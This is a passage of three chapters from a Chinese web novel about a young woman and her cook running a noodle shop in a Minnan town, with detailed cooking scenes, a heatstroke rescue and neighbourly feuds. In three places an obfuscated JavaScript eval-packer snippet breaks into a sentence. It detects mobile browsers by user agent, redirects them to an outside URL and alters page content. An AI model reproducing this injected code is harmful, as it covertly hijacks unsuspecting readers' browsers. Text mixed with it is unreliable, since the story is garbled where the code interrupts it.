中午，上门吃饭的客人们惊奇地发现今日月娘面线糊店卖起了排骨咸饭。 排骨咸饭五文钱一碗，每碗有三大块的排骨。 但排骨咸饭与南瓜咸饭不同，没吃饱不能再盛。 一开始客人们听见排骨咸饭五文钱固定一碗的量，没吃饱不能再盛后，纷纷歇了吃排骨咸饭的心思。 不过也有阔气的点了排骨咸饭。 等大家伙看到那一碗有三块肉量不少的大排骨并且拌着葱花香菇条虾米的浅酱油色米饭盛得冒尖的咸饭，又纷纷觉得这排骨咸饭也没想象中的那个不划算。 于是，南瓜咸饭卖了一半之后，排骨咸饭开始热销。 绝大多数客人吃完午饭离开了，在街上镇守到最后的蟳埔女才提着几乎快空了的筐子上门吃饭。 五位蟳埔女还没进门就闻到一股诱人的肉饭香。 进门往别的客人桌上一瞧，才发现月娘面线糊店今日上新了排骨咸饭。 苏月娘热情地迎上来，招呼五位蟳埔女进门。 “几位大姐吃点什么？” “排骨咸饭怎么卖？” “五文钱一碗，每碗三大块肉多的排骨，但是五文钱固定只有一碗米饭掐尖的量。” 现在天气热了，海鲜从浔埔渔村送到这儿，必有部分会闷坏，渔女们赚得比往日少。 大家想尝尝排骨咸饭，却又不舍得花这么多钱。 其中一个年纪没那么大的蟳埔女思来想去，还是大手一挥，“我辛辛苦苦的干活卖鱼，还不就是为了能吃饱饭吃好饭！我要排骨咸饭！” “一呼百应”，大家也都跟着要了排骨咸饭。 苏月娘收了钱后，让她们稍等，自己快步回了厨房。 许东山一直竖着耳朵听外头的动静，苏月娘回厨房时，他便已经手脚麻利地盛好了五碗排骨咸饭。 许东山将五碗排骨咸饭放在托盘中端出去，还帮着一碗一碗地放在她们面前。 “慢用。”许东山转过身，便瞧见苏月娘也端着大托盘走向蟳埔女这桌。 “来来来……天时这么热，喝完石花膏凉快凉快！” 蟳埔女们有些诧异。 “我们没要石花膏啊……” 苏月娘笑道：“正好今天石花膏做多了，放在那儿也不一定能卖完，干脆就送给大家喝！你们先喝着，我还要去给其他几个送呢！” 做生意自然是不能对客人们厚此薄彼，蟳埔女们有不用钱的石花膏喝，其他两个好坐在堂屋里吃饭的客人自然也得有一碗。 石花膏不是什么太值钱的东西，送几碗也不亏什么，反而能给客人们留个好印象。 蟳埔女们谢了苏月娘的慷慨后，便开始埋头苦吃了。 苏月娘则是拿着抹布与大桶，在堂屋里忙来忙去。 另外三个客人用完餐，苏月娘将碗筷扫入桶中，卖力地将木桌来回擦得锃光瓦亮。 蟳埔女们稍填饱肚子，便开始放慢进食速度。 她们聊起这几天明显少了一大截的收入，言语间尽是无奈。 苏月娘耳朵尖，听见她们说价格一降再降都没人停下来看看她们的海货。 想起今日还没买菜，苏月娘干完活，路过她们身边时，随口问了一句。 “今天还剩点什么？” “主要是扔掉的多……剩也就剩点小管和巴浪鱼……” “一会儿让我看看，如果东西好的话，我尽量给你包圆了！” 苏月娘与蟳埔女吩咐了几句，便抱着大桶进厨房去了。 许东山见她回来，主动接过大桶，“锅里还剩一碗咸饭，你盛碗丝瓜汤配着。” 今天排骨咸饭准备得不多，给蟳埔女们盛了五碗后，就剩下一碗的量了。 苏月娘掀开锅盖瞧了一眼，里头米饭是一碗的量，排骨是两碗的量。 “那你呢？你吃什么？” “我随便煮点米粉就成。” 料想剩下的排骨咸饭也不够许东山吃的，苏月娘便接受了许东山的安排。 …… 蟳埔女们吃完饭后，将剩余的海货取给苏月娘过目。 方才蟳埔女们说的巴浪鱼和小管都还不错，没有半点腥坏之气，苏月娘也就大方地都包圆了。 毕竟苏月娘给送了石花膏，蟳埔女们也是有往有来地给苏月娘一个漂亮的价格。 帮着苏月娘处理好了巴浪鱼后，蟳埔女们也就踏上了归途。 —— 今天东西准备得不多，东西一买完，就早早地闭店了。 时间还早，两人不急着吃饭。 一个在厨房里炸巴浪鱼，一个在院子里哼着曲儿洗碗。 都说闽南山多，男子总是外出打拼，而女子守在家中劳作，久而久之形成了男子唱打拼，女子唱哀怨的风气。 可是苏月娘不这样，许东山就没听过她唱什么哀怨小曲，她哼的曲儿或是轻快或是充满气力的，与她那一身朝气很是相配。 炸得发脆的巴浪鱼被架在铁锅上沥干了油后，许东山用炸筷夹了两只最大的另外搁在碗里放凉。 外头的哼曲声戛然而止。 苏月娘端着一盆清洗干净的小管回到厨房里。 “都这时了，还热得直冒汗！”苏月娘一边嘟囔，一边站在案台边处理小管。 小管构造简单，苏月娘手指戳入空隙，两指抓住小管体内的透明软骨用力拽出后给小管上下颠倒，左右手一齐用力扣掉小管触须双侧的的双眼，最后翻开小管的触须，用剪刀剜掉小管利中带钝的嘴。 二十来条小管没一会儿便处理好了，挑走抠下来的东西再清洗一遍，苏月娘将小管托付给了许东山。 毕竟她是真不喜欢泡在油烟里。 今天晚上吃稀饭配油淋小管。 二十来条油淋小管可不少了，正好够这个差点当上宴席班子掌勺大厨的厨子做一盘好看又好吃的。 昨天红姑送来的檨仔还剩了两颗，苏月娘带着小刀与专用来切水果的案板去到堂屋里切檨仔。 个大一些的檨仔都会切成方块放在碗中扎着吃，但是这种个头不大不小的就多是切成带皮果肉两半，先横切几刀再竖切几刀，两边轻轻下折，正好能够就着果皮吃上檨仔块。 山林里的檨仔酸酸甜甜的，很是解渴开胃，昨天吃掉的三颗檨仔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229680|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里，有两颗半进了苏月娘的肚子。 切好四片檨仔，苏月娘将之统一装盘，再将切下来的大片檨仔核小心削去皮，抓在手里直接嗦核上的果肉。 “许大哥，吃檨仔！”苏月娘将盘子给他递去。 许东山看了一眼黄灿灿的檨仔，就只挑了那块带着点果肉的核，“其他的你吃。” “好哦。”苏月娘巴不得那些檨仔全归她呢，赶忙离开了厨房，生怕许东山后悔。 …… 做油淋小管并不难。 清水加入葱结、姜片、料酒以及适量盐煮至沸腾，倒入小管，稍微焯一焯，通体变得粉红且软趴趴的触须变得卷曲有韧度便可捞起装盘。 二十多只小管一股脑地堆在大盘中实在不美观，许东山花了点功夫用筷子一只一只地将小管整齐摆了两圈。 小葱对折成小指长度，菜刀竖切将之切成粗细均匀的细丝，再拍三颗蒜，剁成蒜蓉。 当然只有一坨青色的葱丝，瞧着过于单调，许东山还切了一坨红椒丝作配。 葱丝、红椒丝以及蒜蓉撒在小管正中心，热油从中心慢慢旋圈向外淋到小管上。 正中的葱椒蒜香味被热油激发，小管亦被烫得稍稍缩手缩脚。 最后，淋上两圈酱油，色香味俱全的油淋小管做成。 两碗稀饭、一大盘油淋小管、两条炸巴浪鱼上桌，刚用檨仔开了胃的苏月娘又是好一番食指大动。 每只小管有食指那样长，苏月娘顾及着形象，分两口吃完。 小管油香鲜脆，酱油简单作配，不会喧宾夺主，保留了小管最原始的海味。 “有个在宴席班子混过的厨子就是好！在家也能吃上宴席上才能吃到的好菜！” 倒不是这油淋小管做法多难、食材多好才称为好菜，而是这盘油淋小管摆盘摆得漂亮，红粉之外红绿搭配，油光粼粼，家常之味有宴席之色，能称为好菜。 “这是我做的第一道宴席菜，那时候年纪小，提不起油锅，才倒第一盘油，油锅就掉在桌上，砸坏了班子里的盘子。” 苏月娘还是头一回听许东山说起他拜师学艺时的事情。 她关切问道：“那你没受伤吧？” 许东山，“伤了，但不是被热油烫伤的，是被师父打伤的。” 师父师父，师父乃是严父。 学徒做过事情，许多做师父的都会用棍棒鞭策。 苏月娘听得面露疼惜，“那时许东山几岁啊？” “十四岁。” 苏月娘家中原先也是做吃食生意的，略知学厨之事，十四岁的小厨多是帮着师父师兄切菜洗菜的，能被允许上手做菜的少之又少。 “那许大哥可真厉害！十四岁就能上阵做菜了！你肯定是你师父的得意学徒！” 这一点许东山没有否认。 他确实是班子里年岁最小，又上手最快的一个。 当时他被官府征走时，他的师父甚至还嘱咐他回来之后一定要到班子里去做事。 只是可惜，他归来后，他的师父老了，师兄弟们也死伤得差不多了。 班子散得七零八落，再也拼凑不起来。 25. 摇啾啾螺 许东山在宴席班子里学艺时听师父说的最多的一句话是： “只要有一门手艺就一定饿不死！” 那时候的他知道家里的面线糊店生意很好，在受苦受累时他也想过一跑了之，但他爹来看他时，像是有预知一般地告诉他，花无百日红，面线糊店也不是能一直开下去。 许东山将这话听进去了，就算师父打他骂他，他都咬紧牙根继续学艺。 十几年过去了，师父和爹的话都得到了验证。 许家的店没继续开下去，但许东山因为有手艺，得以吃上一口手艺饭。 刚当上月娘面线糊店的厨子时，许东山只知道他在讨生活，他对锅中的面线糊没什么特别的想法，甚至有时还会因为回想起被自己干倒闭的店而感到心痛。 但现在的他做的吃食越来越多，不再拘泥于面线糊，他每隔几日都会期待苏月娘让他做点什么新的吃食，是苏月娘教他知道了日子与店里还没出现过的吃食一般，充满了未知、无限的可能。 …… 排骨咸饭卖了好一段时日了，反响还算不错，街上的吃食店见这有赚头，纷纷效仿。 甚至隔壁的二福面线糊店还抢先卖了其他不同食材做出的咸饭。 旁人还好，李金花的效仿让苏月娘甚是倒胃口——即便隔壁的生意怎么也比不上自家的。 许东山听见苏月娘站在院子里对着那堵新砌的墙骂骂咧咧，便知道是时候准备新的吃食了。 苏月娘发泄够了返回厨房，一屁股坐在灶边一股脑地往锅里添柴。 正在煮紫菜丸子汤的许东山已经习惯了苏月娘一想事情就往灶里乱塞柴伙的坏毛病。 现下锅里是汤水，火旺一些暂时坏不了什么事，许东山也就没有阻止她。 等苏月娘被火烤得冒汗了，她将板凳往边上挪了挪，满脸不开心地靠在门板上盯着许东山。 “上回你二婶不是说面线糊店卖什么咸饭……我看她卖得挺开心啊！” 锅里的紫菜丸子汤已然煮好了，许东山默默地将才刚黑了一角的柴火取出来用脚用力踩了踩。 “虽然她的生意不如我的生意红火，但我还是好气，恨不得从院子里翻过去打她一顿！” 平日里温柔好脾气的月娘头家，发起火来倒挺凶悍。 许东山可不敢在这时候贸然开口说话，收拾好柴叶后便去刮了一把石花膏泡在蜂蜜水里给苏月娘去火。 苏月娘端着碗仰头咕嘟咕嘟地将清凉的石花膏一饮而尽，过后还不忘把空碗塞回许东山手里。 “整天喝石花膏脸都胖了一圈！下次喝水就好！” “好。”许东山记住了，并打量了苏月娘的脸一番，她的脸还是跟从前一样，没胖半点。 气归气，生意还要照做。 苏月娘洗了把脸，又换上了客人们最熟悉的笑容。 …… 利润较少的南瓜咸饭已经不做了，排骨咸饭是店里唯一的主食。 店里的客人们几乎人手一碗排骨咸饭。 苏月娘倒也偶能听见客人们私下探讨别家店的排骨咸饭。 各人口味不同，对别家的排骨咸饭有夸有骂，苏月娘都不甚在意，但当听人骂起隔壁的排骨咸饭，苏月娘死死咬着唇才没让自己当众笑出声来。 但听完这家的再听那家的，苏月娘心里还是着急起了出新吃食的事儿。 —— 送走中午的客人们，头家与厨子才堪堪闲下来吃午饭。 两人吃腻了排骨咸饭，便另煮了一锅用料丰盛的湖头米粉汤。 今天早上苏月娘没有出门买菜，店里没有花蛤，许东山只能倒点大骨汤做米粉的汤底。 大骨汤汤底的米粉比起花蛤汤底的少了些海味，但却多了肉香，也算是别样的美味。 两个人各自呼噜噜地嗦了几口米粉后，竟同一时间抬起头： “卖米粉汤怎么样？” “我们卖米粉汤吧！” 默契的两人分辨出对方的话后又默契地相视一笑。 苏月娘眉眼弯弯地将筷子搭在碗边，“许大哥和我想到一块儿去了！其实我们不仅可以卖米粉汤，还可以试着卖炒米粉！” 两人正说着，外头传来一声巨响，紧接着，有人惊恐地叫出了声。 “快来人啊！有人晕倒了——” 许东山与苏月娘连忙放下筷子，匆匆地跑出去。 街坊们都爱看热闹，早有人赶在许东山与苏月娘之前，将晕倒的人团团围住。 许东山个头高，站在人群外围瞧见了晕倒在地的是个老头，两个水桶滚落在地，里头的水顺着坡道哗哗往下流，而老头满头是汗、双唇苍白，一瞧就是中暑了。 狠狠掐着老头人中的一个厝边看向最内圈的李金花，“二福媳妇，你家地方大，先让这个老岁仔（1）去你家躺一躺！” 李金花嫌弃地往后退了一步，“万一人死在我家里可怎么办？我还不得被讹上！” 这老头看着得六七十了，还瘦得能看见骨头，其余有心让老头去到自家小歇一会儿的街坊听了李金花的话后，顿时歇了心思 “许大哥，你把那个阿公背到店里去！” “都让让！”许东山大声喊道。 厝边们马上让出一条道，让许东山去背那个老头。 苏月娘跑在前头去屋里准备解暑的凉水和巾帕。 许东山稳当地背着老头往店里走，他也管不了什么嫌弃不嫌弃的，直接将老头送到自己床上安置着。 苏月娘及时送来了湿布与凉水，许东山和一位厝边一齐托着老头的后辈，一个给老头喂水，一个给老头擦脸擦脖子。 苏月娘则从自己屋里取来蒲扇，对着老头一阵猛扇。 好一会儿后，老头身上的温度降了下来，意识也逐渐回笼。 在场众人总算得以松一口气。 …… 后来，那个老头的孙儿经人告知姗姗赶来。 老头的孙儿对着苏月娘与许东山一顿千恩万谢，还险些跪下磕头了。 目送那位少年家（2）背着老头去医馆之后，聚在面线糊店里的街坊厝边们纷纷离去，面线糊店归于平静。 —— 大概是因为决定好了接下来要卖什么，并且做了一件救人性命的好事，苏月娘一扫气愤与焦灼，满心轻松。 营业接近尾声时，苏月娘索性将事情都交给许东山去做，自己挎着菜篮子出去搜罗搜罗做晚饭的食材。 这个时候街上已经剩不了什么了，但苏月娘逛了两圈，才挑到两样没那么蔫的菜。 临回家之前，她瞧见一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232238|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个阿婆还坐在路边叫卖。 “卖啾啾螺喽！啾啾螺！” 大抵是因为那个中暑晕倒的老头的缘故，苏月娘多看了这阿婆几眼。 “阿婆，啾啾螺怎么卖？” 阿婆眯着眼睛，枯瘦如柴的手里握着一把大剪子，正小心翼翼地剪着啾啾螺的螺尾。 “也剩不多了，你要的话就便宜卖给你！这些给我五文钱就好……”阿婆加快了剪螺尾的速度，“这些啾啾螺已经洗干净了，你等我把螺尾剪完吧！” 五文钱买小半筐已经处理干净的啾啾螺实在是划算，苏月娘摸出荷包，抓了七八个铜板塞到阿婆的兜里，“您慢慢来，我不急！” 阿婆顾不上数苏月娘给了几个铜板，依旧剪个不停，怕苏月娘无聊，阿婆还与苏月娘说起了她那在学堂读书的小孙儿。 …… 等苏月娘拎着东西回家，动作迅速的许东山已经将店里收拾干净并且将碗全洗了。 “怎么这么晚回来？”许东山接过菜篮，将里头的东西翻了出来。 “等卖啾啾螺的阿婆剪螺尾耽搁了一会儿。”现下时候不早了，苏月娘赶着吃饭，便撸起袖子，道：“许大哥你炒菜，啾啾螺我来做！” 许东山看着这还没指甲盖大的荤菜，面露无奈。 罢了，炒几颗鸡蛋将就一顿。 …… 啾啾螺肉少，很少有人以啾啾螺做正经配菜，多是拿它当零嘴或是下酒菜。 苏月娘还是个孩子时，就常常找爹要三文钱去小摊买上一杯酱汁多多的摇啾啾螺过过嘴瘾。 至于这啾啾螺怎么做、怎么摇，苏月娘早在儿时等啾啾螺的时候看会了。 啾啾螺反复搓洗干净后与姜片、桂枝一齐下水煮，水开后苏月娘持大勺刮去水面上冒出的浓密浮沫，方才将啾啾螺盛入凉水中稍作冷却。 为了试温度，苏月娘从凉水里捏出一只小小的啾啾螺放进嘴里一嘬，大概是这只螺的螺尾剪得长，壳里的小螺肉很轻易地就滑了出来。 没有加调料的啾啾螺肉肉质滑嫩，甚是鲜甜。 将啾啾螺捞起甩干了水后，苏月娘将其倒入小盆中，加上三大勺稀释好的花生酱以及一大勺甜辣。 另取一大盘搭在盆上，拇指摁盘，四指扣盆，苏月娘使劲儿地猛摇起来。 啾啾螺与酱料在盆盘之间来回碰撞，发出丁零当啷的声响。 苏月娘直觉差不多了，将盘子揭开，盆里的暗黄色酱汁在盆壁飞溅一片，啾啾螺基本沉没在酱汁之中，只有零星几个冒着小头。 苏月娘取了双筷子夹了颗裹满酱汁的啾啾螺放进嘴里一嗦。 “啾”的一声，壳上的酱汁与壳里的螺肉一齐飞入口中。 苏月娘仔细地品味着那小小一块螺肉。 花生酱与甜辣没有掩盖啾啾螺的甘甜，反而为其添了些醇厚的口感。 这摇啾啾螺虽然卖相不怎么样，但味道确实是可以。 吃过啾啾螺后，苏月娘后知后觉就牛咯并不适宜做稀饭的配菜，好在许东山添了一道炒鸡蛋。 那边，炒鸡蛋刚盛出锅，许东山回头一看，苏月娘已经离开了厨房。 “啾……” “啾……” “啾……” 原是已经在堂屋里享用啾啾螺了。 26. 菜头酸 待到开饭，苏月娘面前的骨碟里已经摞起了一座小山。 苏月娘咂咂嗦得有些发麻的嘴，一时没心思吃饭。 许东山吃了几口之后，察觉苏月娘还没动筷子。 “菜不合胃口吗？” 苏月娘将那盆啾啾螺往许东山面前一推，“嗦累了，让嘴歇一会儿，你尝尝我摇的螺。” 说罢，她双手捧着脸颊，下颌来回活动一番，这表情稀奇古怪的，许东山看了嘴角微微上扬。 暮日余晖已照不进堂屋里，时辰不早了，苏月娘还是忍着舌头的最后一点麻木，慢慢地喝起了粥。 许东山对吃食没那么讲究，肉少得可怜的啾啾螺也能让他配着粥下肚，至于炒的鸡蛋，基本都进了苏月娘的肚子里。 晚饭结束，啾啾螺还剩了小半盆，苏月娘自然而然地又将那盆螺拉回自己面前做饭后零嘴。 头家都吃上零嘴了，许东山也极有眼力见地揽下整理厨房、刷洗碗筷的活。 一墙之隔的二福面线糊店又传来几日一次的怒骂声，今天苏月娘没事要做，便端着那盆啾啾螺坐到门口去边听边嗦。 李金花那嗓门是一如既往的大，她一开嗓，整条巷子都能听见她在叫骂什么。 现下，她在骂儿子许东石不仅成日不着家，还只知道向家里伸手要钱。 而许东石也是个胆大的，李金花骂一句，他狡辩三句，其中还要夹杂着许二福唯唯诺诺的调停声。 隔壁的日子过得比戏都好看。 苏月娘听得美滋滋的，丝毫没有察觉背着一筐菜头的红姑正在靠近。 “月娘头家听什么呢？听得这么入迷！”红姑刚从后山的地里回来，头上戴着斗笠，脚下沾着泥巴。 苏月娘赶忙起身将螺搁在窗台上，“伯母您刚从地里回来？进来坐坐？！” 红姑看了眼自己脚上的泥，笑着摇了摇头，“我就不进去了，省得你们还要擦地……我自己种的夏季菜头熟了，想着给你们送一点！” 说着，红姑弯下腰，从筐子里捧出用干草捆好的七八条菜头递给苏月娘。 凤池水土好，后山地里种出来的菜都水灵灵的，这些菜头瞧着跟秋冬的菜头没什么两样。 “这几天有些上火，吃点菜头清清热正好！”苏月娘欢喜地摸了摸这些沾了土的大胖萝卜。 “前两天在街上碰见阿莲的二叔，和他聊起相看的事情，他说阿莲对阿山没什么想法，倒是对你喜欢得很，回去还一直提起你呢！” 自打和阿莲认识了之后，阿莲就时常挑着担子走进这条巷子里。 她会站在店门口和苏月娘话仙，并请她吃一碗豆花，而苏月娘礼尚往来地请她喝一碗四果汤。 两个人保持着几日见一回的友谊。 “阿莲她二叔还托我问你家里有没有给说亲，他有个外甥和你差不多大，还没成亲……” 说别的可以，说成亲的事儿不行。 苏月娘可吓得连忙拒绝了红姑的牵线搭桥。 她费了好大劲才躲避了大伯婚事，让她在外头找个人嫁了……那可不成！ “这事儿您就别操心了！等我这小店赚到钱了，我再考虑终身大事也来得及呀！” 毕竟苏月娘和红姑之间真要算起来也没什么关系，红姑也没立场多加劝说苏月娘去相看。 既然苏月娘拒绝，红姑也就不再提了。 但是临走之前，红姑还是让苏月娘多帮着劝劝许东山对终身大事上点心。 …… 苏月娘一手端盆，一手拎着菜头回到厨房，许东山正在熬煮明天煮面线糊的猪骨汤。 “你去买菜头了？” “这是刚才红姑伯母送来的，她还让我多劝你考虑考虑终身大事！” 菜头刚出土不久，苏月娘也就先将菜头送到院子里放着。 许东山对于终身大事同样抗拒，便没搭话。 苏月娘将菜头逐一清洗干净后，仔细地将之搭在窗台上滴水。 这水灵灵的菜头用来煮汤一定鲜美，不过，比起做菜头汤，现下腹中饱胀的苏月娘还是更想将菜头做成酸甜解腻的菜头酸。 “许大哥，帮我把菜板和菜刀拿来！”苏月娘大喊。 许东山盖上锅盖，取了菜板与菜刀往外走，“又打算做点什么？” 慷慨的红姑送来的菜头个头都不小，苏月娘挑了最胖的两条菜头放在案板上切除头尾，“做点菜头酸消消火！” “现在天热东西容易坏，两条菜头会不会太多了？” “咱们的东西油放得不少，客人吃完容易腻味，咱们可以送点菜头酸给客人们解腻！” 许东山看着菜头陷入沉思。 每天上门的客人那么多，装面线糊、咸饭和汤的碗都已经洗不过来了，再加上装菜头酸的碗，那得洗到猴年马月去！ “许大哥你刀工好，你来切菜头，能切多薄切多薄！” 不同人做菜头酸，切出的菜头都不一样的，有的爱切成块，有的爱片成片，苏月娘不怎挑拣形状，但她打算明日中午就开始上菜头酸，便选择了最薄的切法，以便菜头能在半日之内入味。 许东山片菜头时，苏月娘回屋摸黑取了两个大盆、盐、糖以及米醋。 许东山快手切好了两大条菜头，并将菜头捧入盆中，两条菜头正好各填两个大盆的七八分。 生菜头味道苦涩，还需要用盐杀一杀，今天的菜头薄如蝉翼，稍出水变软就得洗去盐巴，以免咸味彻底渗透。 趁着许东山清洗菜头，苏月娘用壶里剩下的滚水化了一大碗白糖，并搁在水中冷却。 杀过苦水的菜头个头消了一半，只能占据大盆的一半，倒入三圈澄清的米醋和一瓢清水后，细软的菜头片在液体中飘舞一会儿后便陆陆续续地沉没在了盆底。 与此同时，浓糖水也冷却好了，一盆加半碗糖水，搅和搅和，取调羹尝一尝腌水的咸淡。 “太酸了。” 俗话说得好，揉面是水多加面面多加水。 那么腌菜头酸是醋多加糖，糖多加醋。 许东山捧着糖罐子往腌水里倒糖，并用筷子快速搅拌一番，直至糖彻底化在腌水中，苏月娘洗了调羹再尝一次味，这一次腌水酸甜适中， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240337|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只待菜头入味，便可以食用。 —— 按苏月娘的意思，不仅米粉要卖，咸饭、四果汤、面线糊、配菜汤也都要卖。 作为店里唯一的厨子，许东山起得更早了，天还没亮就到厨房里备菜。 而这个时候，他的头家还趴在床上呼呼大睡。 等天亮了，苏月娘被热醒了，许东山已经一力做好了面线糊，并将四果中的三样豆料炖在锅里。 起迟了的苏月娘很是过意不去，“许大哥你以后尽管叫我起来干活……” “没事，我干得来。”这个能干又贴心的厨子不忘从锅里端出刚才买的水煎包和豆花，“趁热吃。” 当头家的最是喜欢这种会来事的厨子了，苏月娘暗暗决定从下个月起要多给许东山发点工钱。 厨子继续在厨房里忙活，而头家坐在堂屋里享用水煎包与豆花。 热腾腾的吃食下肚，苏月娘的一日才算刚刚开始。 店门开启，苏月娘瞧见店门口站着两个男人，看岁数长相，这两人像是父子。 看到店门开了，恭候多时的刘昌父子二人赶忙提着朝着苏月娘走去。 “恩人！”走在前头的刘昌激动地朝着苏月娘行礼，“多谢恩人昨天救了我爹！” 后头的刘昌儿子连忙学着他爹给苏月娘行大礼。 突然让人给行了个大礼，苏月娘有些不知所措地傻看着那人，反应过来这对父子是昨天晕倒在巷口的那位老人家的儿子与孙子。 “举手之劳而已！不用行这么大的礼！”苏月娘虚扶父子二人一把。 “应该的应该的！我家老父六十有七，前段时间才刚生了一场病，昨天他要是在外头再待久一点，怕是就……” 许东山听外头动静不怎对劲，放下手头的事情赶出来看看情况，那父子二人看见许东山连忙又行了一遍礼。 许东山也只是道举手之劳，不足挂齿。 光在外头站着也怪别扭的，苏月娘连忙请人进门喝茶小坐。 父子俩也不知道用什么来谢苏月娘和许东山的恩情，便只能提着些面线、鸡蛋、糕饼、茶叶还有两只活鸡上门。 许东山不善应酬，又正好有客人上门，他便借机回厨房打面线糊。 苏月娘不必操心招待客人的事情，便放心地与父子俩聊了起来。 “那位阿公还好吗？” “昨天下午去医馆扎了几针，夜里就好得差不多了……本来我爹想跟着我们父子俩过来谢恩，但我怕他又出什么意外，就劝他留在家里了……” 苏月娘笑道：“老人家人没事就好……这几天还是多在家里头休息休息！” “听说你才来我们凤池镇几个月，能在这么短的时间里将生意做得这样好，当真是后生可畏！以后你叫我刘叔就好！有什么需要帮忙的，尽管来找我！我家在镇头肉铺边上！” 苏月娘是家里老头子的救命恩人，又是个性情能力都不错的小姑娘，刘昌看苏月娘怎么看怎么喜欢。 刘昌谈吐不俗，又面露和善，苏月娘亦是乐意与他往来，便笑着谢下了他要照拂的承诺。 27. 溢鸡汤 刘昌父子见上门的客人越来越多，稍坐了一会儿便提出要走。 苏月娘喊来许东山一起将人送到巷口，见人走远了才转身回店。 一直坐在门边窥探的李金花连忙跑回店里，找到正坐在灶边塞柴的许二福，“阿山和那个臭丫头还真是好福气！都认识官府的人了！” “今天早上站在隔壁门口的那两个？” “对啊！我找人问了，那个岁数大的在官府里管事，听说在上面那几个大官面前还挺得脸的！” 许东石不知道打那冒出来，“娘，昨天你要是同意把那个老头送到咱家来，现在不就换咱们认识当官的！” 李金花一时脸上挂不住，气急败坏地抄起灶边的抹布朝着他砸去，“闭嘴！” 许东石惹不起但是躲得起啊，他捂着脑袋跌跌撞撞地跑出去了。 等他跑出家门，才想起自己还没吃早饭，他回头看了一眼自家，家里的面线糊不知道是昨天剩的还是前天剩的，怪让人倒胃口的。 于是，许东石随着隔壁的客人混入月娘面线糊店。 他挤在客人们中坐着。 “来一碗醋肉大肠煎蛋油条的！” 苏月娘也没注意是谁点的，便只顾去让许东山装料盛糊。 有客人认出了许东石，还打趣道：“你家不也有面线糊，怎么跑到这家来吃了？” 许东石这人没心没肺的，还笑着说：“家里的面线糊难吃，出来换换口味！” 苏月娘小心翼翼地端着面线糊与油条快步走来，“面线糊来咯！一共八文钱！” 许东石摸了摸兜，结果没摸到半个字儿，他讪讪笑道：“咱们都是厝边！我先赊一下账，下次再把钱送来！” 前些日子许东山与她说过许东石这人以往的恶劣行径，苏月娘只觉得今天这账要是赊了，那就是肉包子打狗——有去无回。 “不好意思，小本生意概不赊账。” 面线糊已经放在了桌上，许东石赶忙低头嘬了一口，他瞥了苏月娘一眼，小小的肿泡眼里满是得意，好似在挑衅苏月娘： 喝都喝了，你能奈我何！ 苏月娘见此，罕见地耷拉下脸，“许大哥！遇到个吃白食的！” “你至于吗！”许东石可没料到苏月娘会这么不好说话。 许东山一听见苏月娘的吆喝，赶忙放下大勺，快步挤到了苏月娘身边，跟拎小鸡仔一般提起许东石的后领。 “你进去，我来处理。” 苏月娘从许东山身后绕开，去招待站在门边看热闹的其他客人了。 许东石一被许东山控制，顿时老实了下来。 “真没钱？” “咱们是隔腹兄弟（1）！你……” 还没等许东石说完，许东山便毫不留情地将他一把拉了起来，从孤榻上推了出去。 巷口来来往往的人纷纷驻足看被狼狈丢出的许东石。 许东石被当众落了这么大面子，一时间觉得难堪，便低着头跑回自家。 至于那碗被嘬了一口的面线糊，自然是被许东山端回厨房倒回了泔水桶里。 —— 刘昌父子拎来的两只鸡是活乌鸡，两只乌鸡暂时被许东山安置在院子里，是养还是现杀还得看苏月娘的意思。 早晨许东山随口问了一嘴乌鸡的如何处理。 苏月娘可不喜欢院子里一股恶心的鸡屎味，所以她让许东山赶紧将鸡给炖了。 午后闲下来时，苏月娘洗碗，许东山杀鸡。 不得不说许东山这个厨子请得那叫一个值，他杀鸡的手法与速度可不比街上专门杀鸡的屠夫差，她才刚将碗洗碗，许东山就紧接着拎着一只已经被剥得光溜溜的开膛破肚鸡丢进水池让她帮着冲冲水。 苏月娘单手提起乌鸡脚掂了掂，这只去掉毛与内脏的乌鸡约有一斤半重，两个人一天应当能够吃完。 “这鸡应该不便宜……”苏月娘仔细冲洗着鸡肚子里残留的鸡血，“我舅舅在山上养的小乌鸡一只都得卖好几十文呢！” 苏月娘的舅舅、林大松的爹包下一座山头，既开了果园也养了一山头的鸡，是浮桥有名的富户。 乌鸡清洗干净之后，许东山又提着鸡脖子回屋将乌鸡剁成块，削去挂在肉上的油皮，并用刀背将乌鸡肉稍微敲散。 都说乌鸡能够滋阴补血、延缓衰老，对女子身体十分有好处，甚至民间还有一种叫做乌鸡白凤丸的药，专门用来给女子调理身体。 近来苏月娘胃口不佳，人都瘦了一圈，正好多吃点乌鸡补补身体。 在闽南，有一种能够将炖物精华高度凝练到汤汁中的做法称为“溢”。 